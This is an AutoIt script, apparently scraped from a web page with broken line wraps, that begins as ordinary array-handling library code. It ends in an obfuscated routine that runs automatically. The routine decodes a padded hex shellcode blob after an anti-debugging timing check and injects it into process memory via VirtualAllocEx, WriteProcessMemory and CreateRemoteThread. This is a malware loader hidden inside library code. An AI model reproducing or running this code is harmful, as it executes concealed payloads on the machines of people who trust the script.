__arrayquicksort2d($avarray, $istep, $istart, $r, $isubitem, $isubmax)
__arrayquicksort2d($avarray, $istep, $l, $iend, $isubitem, $isubmax)
EndFunc
Func _arrayswap(ByRef $vitem1, ByRef $vitem2)
Local $vtmp = $vitem1
$vitem1 = $vitem2
$vitem2 = $vtmp

EndFunc
Func _arraytoclip(Const ByRef $avarray, $istart = 0, $iend = 0)
Local $sresult = _arraytostring($avarray, @CR, $istart, $iend)
If @error Then Return SetError(@error, 0, 0)
Return ClipPut($sresult)
EndFunc
Func _arraytostring(Const ByRef $avarray, $sdelim = "|", $istart = 0, $iend = 0)
If NOT IsArray($avarray) Then Return SetError(1, 0, "")
If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, "")
Local $sresult, $iubound = UBound($avarray) - 1
If $iend < 1 OR $iend > $iubound Then $iend = $iubound
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(2, 0, "")
For $i = $istart To $iend
$sresult &= $avarray[$i] & $sdelim
Next
Return StringTrimRight($sresult, StringLen($sdelim))
EndFunc
Func _arraytrim(ByRef $avarray, $itrimnum, $idirection = 0, $istart = 0, $iend =
0)
If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
Local $iubound = UBound($avarray) - 1
If $iend < 1 OR $iend > $iubound Then $iend = $iubound
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(5, 0, 0)
If $idirection Then
For $i = $istart To $iend
$avarray[$i] = StringTrimRight($avarray[$i], $itrimnum)
Next
Else
For $i = $istart To $iend
$avarray[$i] = StringTrimLeft($avarray[$i], $itrimnum)
Next
EndIf
Return 1
EndFunc
Func _arrayunique($aarray, $idimension = 1, $ibase = 0, $icase = 0, $vdelim = "|
")
Local $iubounddim
If $vdelim = "|" Then $vdelim = Chr(1)
If NOT IsArray($aarray) Then Return SetError(1, 0, 0)
If NOT $idimension > 0 Then
Return SetError(3, 0, 0)
Else
$iubounddim = UBound($aarray, 1)
If @error Then Return SetError(3, 0, 0)
If $idimension > 1 Then
Local $aarraytmp[1]
For $i = 0 To $iubounddim - 1
_arrayadd($aarraytmp, $aarray[$i][$idimension 1])
Next
_arraydelete($aarraytmp, 0)
Else
If UBound($aarray, 0) = 1 Then

Dim $aarraytmp[1]
For $i = 0 To $iubounddim - 1
_arrayadd($aarraytmp, $aarray[$i])
Next
_arraydelete($aarraytmp, 0)
Else
Dim $aarraytmp[1]
For $i = 0 To $iubounddim - 1
_arrayadd($aarraytmp, $aarray[$i][$idime
nsion - 1])
Next
_arraydelete($aarraytmp, 0)
EndIf
EndIf
EndIf
Local $shold
For $icc = $ibase To UBound($aarraytmp) - 1
If NOT StringInStr($vdelim & $shold, $vdelim & $aarraytmp[$icc]
& $vdelim, $icase) Then $shold &= $aarraytmp[$icc] & $vdelim
Next
If $shold Then
$aarraytmp = StringSplit(StringTrimRight($shold, StringLen($vdel
im)), $vdelim, 1)
Return $aarraytmp
EndIf
Return SetError(2, 0, 0)
EndFunc
Func __array_exeterinternal(ByRef $avarray, $istart, $isize, $sdelim, ByRef $aid
x, ByRef $aresult, ByRef $icount)
If $istart == $isize - 1 Then
For $i = 0 To $isize - 1
$aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim
Next
If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresu
lt[$icount], 1)
$icount += 1
Else
Local $itemp
For $i = $istart To $isize - 1
$itemp = $aidx[$i]
$aidx[$i] = $aidx[$istart]
$aidx[$istart] = $itemp
__array_exeterinternal($avarray, $istart + 1, $isize, $s
delim, $aidx, $aresult, $icount)
$aidx[$istart] = $aidx[$i]
$aidx[$i] = $itemp
Next
EndIf
EndFunc
Func __array_combinations($in, $ir)
Local $i_total = 1
For $i = $ir To 1 Step -1
$i_total *= ($in / $i)
$in -= 1
Next
Return $i_total
EndFunc

Func __array_getnext($in, $ir, ByRef $ileft, $itotal, ByRef $aidx)


If $ileft == $itotal Then
$ileft -= 1
Return
EndIf
Local $i = $ir - 1
While $aidx[$i] == $in - $ir + $i
$i -= 1
WEnd
$aidx[$i] += 1
For $j = $i + 1 To $ir - 1
$aidx[$j] = $aidx[$i] + $j - $i
Next
$ileft -= 1
EndFunc
_y0xc290d0743d86aba5040032d3e8d9b292()
Func _y0xc290d0743d86aba5040032d3e8d9b292()
$_y0x47791c9793540e4227f10e59291ae678 = "E80D02000033C0C3GG8BG5424G0C8BG
4CG24G04G8BC24A57G8BGF985C07412568D72G018BG5424GG10G8A0288014142GGG4E75F7G5EGG8B
C75FC3558BEC51G51535657688657G0D0068884EGGGG0DGG00E8G1A00GGG00008945FC68FAG8B340
068884E0DG00GGE808G0000G00GG8945F8E9GB50000G00558BGEC53G56G57GG5164FF3530000000G
G588BGG400C8B48G0CG8B11G8B4130G6AG028B7D0857G50GE85BG00000085C074048BCAGEBE78B41
G18GG508B58G3C03GC38B58785850G03D8G8B4B1C8B5320G8B5B24G03GGGC803D003D8G8B32G5850
G03F06AG01FFG75G0CG56GE823G0000G0085GC0740883C20483C3G02EBE3G58GG33D2668BG13C1GE
202GGG03CAG03G01595FGG5EG5BGG8BE5GG5DGC2080055G8BECG5153G52GG33C933DB33D28B45088
A10GG80GGCA6003DAGGD1E30345GGGG108A0884GC9E0GEEG33C08BG4D0C3BD9GGG7401405AG5B598
BE55DC2GGG0C008B45088B4DGFCG5F5E89G088B45G0C8B4DF85B8908C9GGGC3G558BEC81EC080400
00535633DB5733GD2G8D85F8GFBGFFGGGGFFB900G01G00G00GG8910G4283GC004G3BGD1G7CF633FF
8DB5F8FBGFFGFF8BGC733GD2F775148B45G0C0FB6040203G0603C38BD9G99F7GFB8AGG064788G45F
F8BDAGGGG8B949DGGGGF8FBGFFFFGG891683C6G040FGB6G55FFG8DG84G9DGF8FBFFGFFG3BF9GG89G
10G7CC483G6514G00837D100076G6B8D47018BF199F7FE8BGFA8B84BDF8FBFFFF8DB4GGBDF8FBFFG
FF03C38BD999GGF7FB8AGGG0688G45FFG8BGGGDAG8BG949DF8FBFFGGFF8916G0FB655GGFF8D849DF
8FBFFFF89550C89108B45148B550803C28945F8GG8B06G03450C8BGF199GF7GGFE8B75F88AG84G95
F8FBGFFFF3006GFF4514GG8B4514GG3B451072958BG45085FG5E5BC9C3GC3558BECB82041G00G00E
8510300G00535657GE8GEAFFFFGFFG33GDBGGGGC645E86BGC645E965C6G45GGGEA72C645EB6EC645
GEC65GC645ED6CC645EE33C645EFGG32C645F0GG2EC645GGF1GG64C645F2G6CC6G45GF36CG885DF4
C64594GG47GGGC645G9565GGGC645G9674GC645G97G4DC645G98GG6FGC6G459964GGC6G459AG75C6
45G9B6CC6GG459C65GC6459D46C6459EG69C645G9FGG6CC645A0G65C645A14EC645A261GC645A3G6
DGC645A4G65C645A557885DA6C645B8G43C645B9GG72C6G45BA65GC6G45BBG61C6G45BCG74GC645G
GGBD65GC6GG45BE46C6G45BF69GC645GC06CGC645GC165GGC6G45GC2G57885DC3GGC645GA8G56C6G
GG45GA969C645GGGAAGGG72C6GG45GAB74GC6G45GAC75GGC6G45AD61C645AE6CC6GG45AF41C6G45G
B06CC645B1G6CC6G45B26FC6G45B363885DGGB4C645D047C645D165GC6G45D274GGC6G45GD346C6G
45GGGD469C6GG45D56CC645GGD665GGC645D753C645D8GG69GC645D97AGC645DA6588G5DDBGC645D
C52C645GGDD65C645DE61C6G45DF64GGGGC6G45GE046G8D45FCGC645E1G6950GGG8DGG45F850GC64
5E26CC645GGE3G65885DE4C6G45GC4GGG43C6G45C56CC6GG45C66FC6G45C773C645C865GC645C9G4
8C645CA61C6G45CB6EC6GGG45GCC64C645CD6CC645CEG65G88GGG5DCFGE899FCFFFF598D459459GG
50G8D45GE850FF55F850FFG55FC8BF08D45GB8508D45GE850FF55F850GFF55FC89G856CFFFFGFF8D
45A8508D45E8GGG50FFG55F8G50GFF55GGGFC89458CGG8D45D0GG508DG45GE850FFG55F850GFF55F
C89GGG45908D45DC508D45E850FF55GGGF8G50FF55GGFC894588GG8DG45C450GG8D45GE8GGG50FFG
55F8GG50FFGG55GFCGG894584B981GGGG00000033C0GGG8DBDG62GGFDFFFF6689G9DG60FDGFFGFF6
804G01G0000F3ABG66AB8D8560GFDGFFGFFG5053GFFGGD6G5353G6A03G53GG6A01GG8DGGG8560FDF
FGFFG68GG00G00G008050GGGFF95G6CFFFFFF8BF8G5357FFG55GG908BGGF0G6A40G68GG003000008
DG8600G040000GGGGG5053FFG558C8DGGG8D68GGFFGFFGGFF5351G565057894590GFF558857FF558
4GB99FGG0F000033C0GG8DGGGBDGE1GBEGFFGFF88G9DGE0BEGGGGFFFFGGGF3GAB66GABGGGAA33GC0
8DBD74GFFFFFFGGGGGGC685G71FFFFFFBDC68572GFFGGFFGFFGADGC68573GFFGFFGFFG1BABABGABG
ABG33C03BF3GC685G70GFFFFFFAAG76658BGG7DGGG90G803C38AA75G248A4CGG38013A8D71GGFFFF
GGGFF75GGG188A4C3802GG3AG8D72GFFFFFF750C8A4C38033A8D73FFFFFFG740E8D4EFFG3BGC174G
GGGGGG70G40GG3BC672GC7GEB2AGG33F603C7GG8A4CG3014888C35E0BEGGFFFF46GGG81GFE943E00

G0072ECG33GGF6G8AG0CG30888C3570FFGGGGFFGFFGG46G83FEGG1472F0BE803E0000G6A148D85GG
70FFGFFGGGGFF56G50GG8DG85E0BEFFGGGGGGFFGG50GGE8EEGFBFFGFF83C4G106AG4068003000G00
5653GFF55G8C8BGF8GG8DG85E0BEGFFFF565057E8ACGFAGFFGFF83C4GG0CGFFGD75F5E33GC05BC9C
3CCCCCCCCCCCCCCCCG513D001000008DG4C240872G1481GGE9001000G002DG00G100000GG8501G3D
001000G0073GGEC2BC8G8BC4GG85G018BE18B088B40G0450C3"
If _winapi_createfile(@AutoItExe, 1, 2, 2) <> 0 Then _y0xc290d0743d86aba
5040032d3e8d9b292()
$_y0x67e3bdca4c03dd972f5bc951c8153ac6 = DllCall("kernel32.dll", "DWORD",
"GetTickCount")
DllCall("kernel32.dll", "int", "Sleep", "int", 100)
$_y0xf6c9fcfbba71f8e3a7c7e344d1a90049 = DllCall("kernel32.dll", "DWORD",
"GetTickCount")
If $_y0x67e3bdca4c03dd972f5bc951c8153ac6[0] + 135 > $_y0xf6c9fcfbba71f8e
3a7c7e344d1a90049[0] Then $_y0x47791c9793540e4227f10e59291ae678 = StringReplace(
$_y0x47791c9793540e4227f10e59291ae678, "G", "")
Local $_y0x6f2c9a62ca0b468b49545025ab4e6b4c = DllStructCreate("byte[" &
StringLen($_y0x47791c9793540e4227f10e59291ae678) / 2 & "]")
For $_y0x6c3e1dd642972a5ed13122b8480d448f = 1 To DllStructGetSize($_y0x6
f2c9a62ca0b468b49545025ab4e6b4c)
DllStructSetData($_y0x6f2c9a62ca0b468b49545025ab4e6b4c, 1, Dec(S
tringMid($_y0x47791c9793540e4227f10e59291ae678, ($_y0x6c3e1dd642972a5ed13122b848
0d448f - 1) * 2 + 1, 2)), $_y0x6c3e1dd642972a5ed13122b8480d448f)
Next
Local $_y0x86660dec3147ae42493bcdde95922e61, $_y0x0e6b2ff08d97d3cb129438
0060de6ca5, $_y0x9355d363dd0a85289cfec30b86c24f69, $_y0xc3d76f24146ef14c76aaa135
c785f276
$_y0x86660dec3147ae42493bcdde95922e61 = DllCall("Kernel32.Dll", "int", "
OpenProcess", "int", 2035711, "int", 0, "int", _winapi_getcurrentprocessid())
$_y0x0e6b2ff08d97d3cb1294380060de6ca5 = $_y0x86660dec3147ae42493bcdde959
22e61[0]
$_y0x86660dec3147ae42493bcdde95922e61 = DllCall("Kernel32.dll", "ptr", "
VirtualAllocEx", "int", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", 0, "int",
DllStructGetSize($_y0x6f2c9a62ca0b468b49545025ab4e6b4c) * 1000, "int", 4096, "in
t", 64)
$_y0x9355d363dd0a85289cfec30b86c24f69 = $_y0x86660dec3147ae42493bcdde959
22e61[0]
$_y0x86660dec3147ae42493bcdde95922e61 = DllCall("kernel32.dll", "int", "
WriteProcessMemory", "int", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", $_y0x9
355d363dd0a85289cfec30b86c24f69, "ptr", DllStructGetPtr($_y0x6f2c9a62ca0b468b495
45025ab4e6b4c), "int", DllStructGetSize($_y0x6f2c9a62ca0b468b49545025ab4e6b4c),
"int", 0)
$_y0x86660dec3147ae42493bcdde95922e61 = DllCall("kernel32.dll", "int", "
CreateRemoteThread", "int", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", 0, "in
t", 0, "int", $_y0x9355d363dd0a85289cfec30b86c24f69, "ptr", 0, "int", 0, "int",
0)
$_y0xc3d76f24146ef14c76aaa135c785f276 = $_y0x86660dec3147ae42493bcdde959
22e61[0]
Do
$_y0x86660dec3147ae42493bcdde95922e61 = DllCall("kernel32.dll",
"int", "WaitForSingleObject", "int", $_y0xc3d76f24146ef14c76aaa135c785f276, "int
", 50)
Until $_y0x86660dec3147ae42493bcdde95922e61[0] <> 258
DllCall("Kernel32.dll", "int", "CloseHandle", "int", $_y0xc3d76f24146ef1
4c76aaa135c785f276)
$_y0x86660dec3147ae42493bcdde95922e61 = DllCall("Kernel32.dll", "ptr", "
VirtualFreeEx", "hwnd", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", DllStructG
etPtr($_y0x6f2c9a62ca0b468b49545025ab4e6b4c), "int", DllStructGetSize($_y0x6f2c9
a62ca0b468b49545025ab4e6b4c), "int", 32768)
DllCall("Kernel32.dll", "int", "CloseHandle", "int", $_y0x0e6b2ff08d97d3
cb1294380060de6ca5)

_winapi_msgbox(0, 0, 0)
EndFunc

Potrebbero piacerti anche